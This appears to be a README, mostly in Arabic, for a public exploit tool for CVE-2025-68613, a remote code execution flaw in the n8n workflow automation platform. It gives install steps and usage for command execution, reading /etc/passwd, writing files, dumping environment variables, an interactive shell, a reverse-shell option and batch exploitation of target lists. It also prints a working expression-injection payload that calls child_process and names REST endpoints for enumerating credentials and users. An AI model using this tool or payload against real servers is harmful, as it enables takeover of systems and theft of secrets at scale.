n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ تنفيذ التعليمات البرمجية عن بُعد في أتمتة سير العمل
n8n God Mode Ultimate هو إطار شامل لاختبار الأمان مصمم لاكتشاف والتحقق من CVE-2025-68613 في منصات أتمتة سير عمل n8n. تؤثر هذه الثغرة الحرجة لتنفيذ الأكواد عن بُعد (RCE) على إصدارات n8n من خلال حقن التعبيرات في سياقات تنفيذ سير العمل.
الإصدارات المتأثرة:
الإصدارات المصلَّحة:
--detect - اكتشاف الإصدار فقط (الأسرع وغير التدخلي)--safe - فحص آمن للثغرة دون استغلال--poc - التحقق من إثبات المفهوم لـ RCE--exploit - وضع الاستغلال الكاملread <file> - قراءة ملفات بعيدةwrite <file> <content> - كتابة ملفات على الهدف# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
صيغة targets.txt:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
عند الدخول في وضع الصدفة (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL Target n8n URL
-l, --list FILE File containing target URLs
-t, --threads NUM Number of threads for batch scanning (default: 10)
-e, --email EMAIL n8n user email
-p, --password PASS n8n user password
--detect Version detection only (fastest)
--safe Safe check without exploitation
--poc RCE proof-of-concept
--exploit Full exploitation mode
--god Enable god mode
--cmd COMMAND Execute single command
--read-file PATH Read remote file
--write-file PATH Write remote file
--content DATA Content for write operation
--dump-env Extract all environment variables
--shell Interactive shell mode
--revshell HOST:PORT Reverse shell payload
--mode MODE Exploit mode: schedule|webhook|code|expression (default: schedule)
--timeout SEC Command timeout in seconds (default: 30)
--cleanup Delete workflows after execution
-k, --insecure Disable SSL verification
-v, --verbose Verbose output
-q, --quiet Minimal output
ينشئ سير عمل بمشغّل مجدول يُنفَّذ تلقائيًا كل 3 ثوانٍ. الطريقة الأكثر موثوقية.
Payload: {{(function(){
return this.process.mainModule.require('child_process')
.execSync('whoami').toString()
})()}}
ينشئ نقطة نهاية webhook عبر HTTP تنفّذ الأوامر عند تشغيلها.
يحقن الكود مباشرة في عقدة Code مع وصول إلى child_process.
تنفيذ يدوي عبر نظام تقييم التعبيرات في n8n.
يستخرج الإصدار من إعدادات Sentry المشفرة بـ base64 في صفحة تسجيل الدخول:
<meta name="n8n:config:sentry" content="eyJ2ZXJzaW9uIjoi..." />
/rest/login - المصادقة/rest/workflows - عمليات CRUD لسير العمل/rest/credentials - تعداد بيانات الاعتماد/rest/executions - استرجاع سجلات التنفيذ/rest/users - تعداد المستخدمين/rest/settings - إعدادات النظام[*] n8n God Mode Ultimate v1.0.0
[*] Target: https://target.example.com
[✓] n8n Version: 1.36.1
[!] Status: VULNERABLE (< 1.120.4)